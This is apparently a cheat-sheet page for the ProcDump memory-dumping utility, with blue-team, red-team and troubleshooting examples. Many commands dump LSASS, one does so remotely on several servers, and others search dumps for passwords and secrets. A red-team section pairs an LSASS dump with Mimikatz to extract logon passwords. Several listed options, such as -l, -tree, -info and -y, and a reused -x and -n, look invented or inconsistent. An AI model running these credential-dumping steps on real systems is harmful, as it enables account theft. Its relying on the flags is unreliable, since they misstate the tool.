Ir al contenido

ProcDump

ProcDump is a Sysinternals command-line utility for creating crash dumps and monitoring Windows processes. It captures process memory and exceptions for analysis, debugging, and incident response.

Installation

Windows

# Download from Sysinternals Live
# https://live.sysinternals.com/procdump.exe

# Or download from releases
wget https://download.sysinternals.com/files/Procdump.zip
unzip Procdump.zip

# Add to PATH
setx PATH "%PATH%;C:\path\to\procdump"

# Verify installation
procdump -?

Linux/macOS (via WSL or Docker)

# WSL on Windows
apt install procdump

# Or use Windows binary directly from WSL
wsl.exe procdump -?

# macOS/Linux: Use equivalent tools
# pstack, gcore, lldb core dumps instead

Verify Installation

procdump -accepteula
procdump -version

Essential Commands

CommandDescription
procdump -p <PID>Dump running process by PID
procdump -n <name>Dump process by name
procdump -ma <PID>Full memory dump (all pages)
procdump -mp <PID>Dump only accessible pages
procdump -eCapture on exception
procdump -f <exception>Filter by exception type
procdump -lList all processes
procdump -x <debugger>Launch debugger (windbg, cdb)
procdump -s <seconds>Dump every N seconds
procdump -n <count>Collect N dumps then exit

Basic Process Dumping

Dump by Process ID

# Create single dump of running process
procdump -accepteula -ma 2345

# Dump by process name (multiple instances)
procdump -accepteula -ma explorer.exe

# Dump to specific output directory
procdump -accepteula -ma -o C:\dumps\ 2345

# Dump multiple processes at once
procdump -accepteula -ma -ma explorer.exe svchost.exe lsass.exe

Capture Exceptions

# Dump on any exception
procdump -accepteula -e notepad.exe

# Dump on specific exception type
procdump -accepteula -f EXCEPTION_ACCESS_VIOLATION notepad.exe

# Dump on unhandled exceptions only
procdump -accepteula -e -f UNHANDLED notepad.exe

# First chance vs second chance exceptions
procdump -accepteula -e1 -e2 notepad.exe

Continuous Monitoring

# Dump every 5 seconds (10 times)
procdump -accepteula -s 5 -n 10 explorer.exe

# Dump on CPU threshold exceeded
procdump -accepteula -c 75 explorer.exe

# Dump on hang detected (thread activity)
procdump -accepteula -h explorer.exe

# Dump on process termination
procdump -accepteula -g explorer.exe

Advanced Dumping

Memory Analysis

# Full memory dump (includes all memory pages)
procdump -accepteula -ma lsass.exe

# Partial dump (faster, excludes some memory)
procdump -accepteula -mp svchost.exe

# With custom tag for organization
procdump -accepteula -t lsass.exe C:\dumps\lsass_incident_001.dmp

Debugger Integration

# Attach WinDbg debugger to process
procdump -accepteula -x "C:\Program Files\Debugging Tools for Windows\windbg.exe" notepad.exe

# Attach CDB for automated analysis
procdump -accepteula -x cdb.exe explorer.exe

# Generate minidump for symbols
procdump -accepteula -m explorer.exe

Filter and Targeting

# Exclude threads from dump
procdump -accepteula -e -x <threadID> explorer.exe

# Target specific instance (if multiple)
procdump -accepteula -p 2345 -ma

# Dump process tree (parent and children)
procdump -accepteula -tree explorer.exe

# Override default dump location
procdump -accepteula -o E:\Forensics\ -ma lsass.exe

Incident Response Workflows

Malware Analysis Response

# 1. Quickly dump suspicious process (lsass for credentials)
procdump -accepteula -ma lsass.exe C:\incident\lsass_001.dmp

# 2. Dump on exception to capture crash
procdump -accepteula -e explorer.exe C:\incident\explorer_crash.dmp

# 3. Monitor for repeated failures
procdump -accepteula -s 10 -n 5 suspicious.exe C:\incident\suspicious_series.dmp

# 4. Capture multiple related processes
procdump -accepteula -ma explorer.exe svchost.exe rundll32.exe

# 5. Export for forensic analysis
# Copy dumps to external media
xcopy C:\incident\*.dmp E:\forensic_analysis\

Crash Dump Collection

# Capture all exceptions from application
procdump -accepteula -e -f EXCEPTION_STACK_OVERFLOW app.exe

# Dump only on unhandled exceptions
procdump -accepteula -e -f UNHANDLED myapp.exe

# Multiple dumps with timestamps
procdump -accepteula -ma -s 30 -n 3 myapp.exe C:\dumps\crash_%d_%h_%m_%s.dmp

Performance Analysis

# Dump on high CPU (over 80%)
procdump -accepteula -c 80 explorer.exe

# Monitor and dump on hang
procdump -accepteula -h explorer.exe

# Collect CPU profiling
procdump -accepteula -c 75 -s 5 -n 10 heavy_process.exe

Analyzing Dumps

Extract from Dump

# Open dump in WinDbg for analysis
windbg -z lsass_001.dmp

# Load with specific symbol path
windbg -z -y "srv*C:\symbols*https://msdl.microsoft.com/download/symbols" dump.dmp

# Automatic analysis
!analyze -v

# Extract strings from dump
strings dump.dmp | grep -i "password|key|secret"

# Check for loaded modules
!lm

Dump Inspection

# Verify dump integrity
procdump -y dump.dmp

# Get dump statistics
procdump -info dump.dmp

# Compare two dumps
fc /b dump1.dmp dump2.dmp

Batch Processing

Script for Collection

@echo off
REM Collect dumps of critical processes
cd C:\dumps

REM Dump LSASS (credentials)
procdump -accepteula -ma lsass.exe lsass.dmp

REM Dump explorer (user session)
procdump -accepteula -ma explorer.exe explorer.dmp

REM Dump services
procdump -accepteula -ma svchost.exe svchost.dmp

REM Verify dumps created
dir *.dmp

REM Compress for transport
tar.exe -czf incident_dumps.tar.gz *.dmp

PowerShell Automation

# Dump all process instances matching pattern
Get-Process notepad | ForEach-Object {
    & "C:\tools\procdump.exe" -accepteula -ma $_.Id
}

# Monitor for specific exception
$process = "app.exe"
& "C:\tools\procdump.exe" -accepteula -e $process

# Collect from multiple machines
$computers = @("server1", "server2")
foreach ($computer in $computers) {
    Invoke-Command -ComputerName $computer -ScriptBlock {
        & "C:\tools\procdump.exe" -accepteula -ma lsass.exe "C:\incident\${computer}_lsass.dmp"
    }
}

Troubleshooting

Common Issues

Access Denied / Elevation Required

# Most process dumping requires elevation
# Run as Administrator or use:
runas /user:Administrator procdump -accepteula -ma process.exe

# Check current privileges
whoami /priv

Process Not Found

# List all running processes
procdump -accepteula -l

# Get PID of specific process
tasklist | find "explorer.exe"

# Use full process name
procdump -accepteula -ma "C:\path\to\app.exe"

Dump File Already Exists

# Append sequence number to filename
procdump -accepteula -ma explorer.exe C:\dumps\explorer.dmp
# Creates: explorer.dmp, explorer(1).dmp, explorer(2).dmp, etc.

# Use timestamp in filename
procdump -accepteula -ma explorer.exe C:\dumps\explorer_%d_%h_%m_%s.dmp

Lock/Permission Issues on Dump Files

# File locked by indexing service
taskkill /F /IM SearchIndexer.exe

# Copy dump to different location
copy C:\dumps\crash.dmp E:\forensics\crash.dmp /Y

# Change ownership
icacls C:\dumps\crash.dmp /grant:r %USERNAME%:F

Verification and Troubleshooting

# Verify dump can be opened in debugger
windbg -z dump.dmp

# Check for corruption
fc /b dump1.dmp dump2.dmp

# Get dump file properties
wmic datafile where name="C:\\dumps\\lsass.dmp" get FileSize

# Monitor dumps being created
fsutil usn readjournal C:\ | findstr ".dmp"

Real-World Scenarios

Blue Team: Collect Evidence

REM Incident response: collect critical process memory
@echo off
setlocal enabledelayedexpansion

set DUMP_DIR=C:\forensics\incident_%date:~-4%%date:~-10,2%%date:~-7,2%
mkdir %DUMP_DIR%

echo [*] Collecting LSASS memory (credentials/hashes)
procdump -accepteula -ma lsass.exe %DUMP_DIR%\lsass.dmp

echo [*] Collecting explorer memory (user session)
procdump -accepteula -ma explorer.exe %DUMP_DIR%\explorer.dmp

echo [*] Collecting suspicious services
for /f "tokens=2" %%A in ('tasklist ^| find "svchost"') do (
    procdump -accepteula -ma svchost.exe %DUMP_DIR%\svchost_!random!.dmp
)

echo [*] Securing dumps
icacls %DUMP_DIR% /inheritance:r /grant:r "%USERDOMAIN%\%USERNAME%:F"
tar.exe -czf %DUMP_DIR%.tar.gz %DUMP_DIR%

echo [*] Dumps collected to %DUMP_DIR%

Red Team: Exfiltrate Credentials

REM Dump LSASS for credential extraction
procdump -accepteula -ma lsass.exe lsass.dmp

REM Extract hashes/keys using Mimikatz
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords" exit

Malware Analysis: Monitor for Crashes

REM Monitor malware sample for exceptions/crashes
procdump -accepteula -e sample.exe crash_001.dmp

REM Debug with WinDbg attached
procdump -accepteula -x windbg.exe sample.exe

Tips and Best Practices

  • Always get elevated (Administrator) privileges for dumping system processes
  • LSASS dumps contain hashes/secrets - handle with care in forensics
  • Use full dumps (-ma) for complete analysis, partial (-mp) for speed
  • Timestamp your dumps to maintain chronological integrity
  • Test dump file integrity before transport or analysis
  • Dumps can be very large (process memory size) - plan storage
  • Compress dumps for secure transport: tar.exe or 7z
  • Clean up dumps after analysis to prevent data leaks
  • Use -accepteula to suppress confirmation in scripts
  • Monitor CPU/memory impact when dumping large processes

Resources


Last updated: 2026-03-30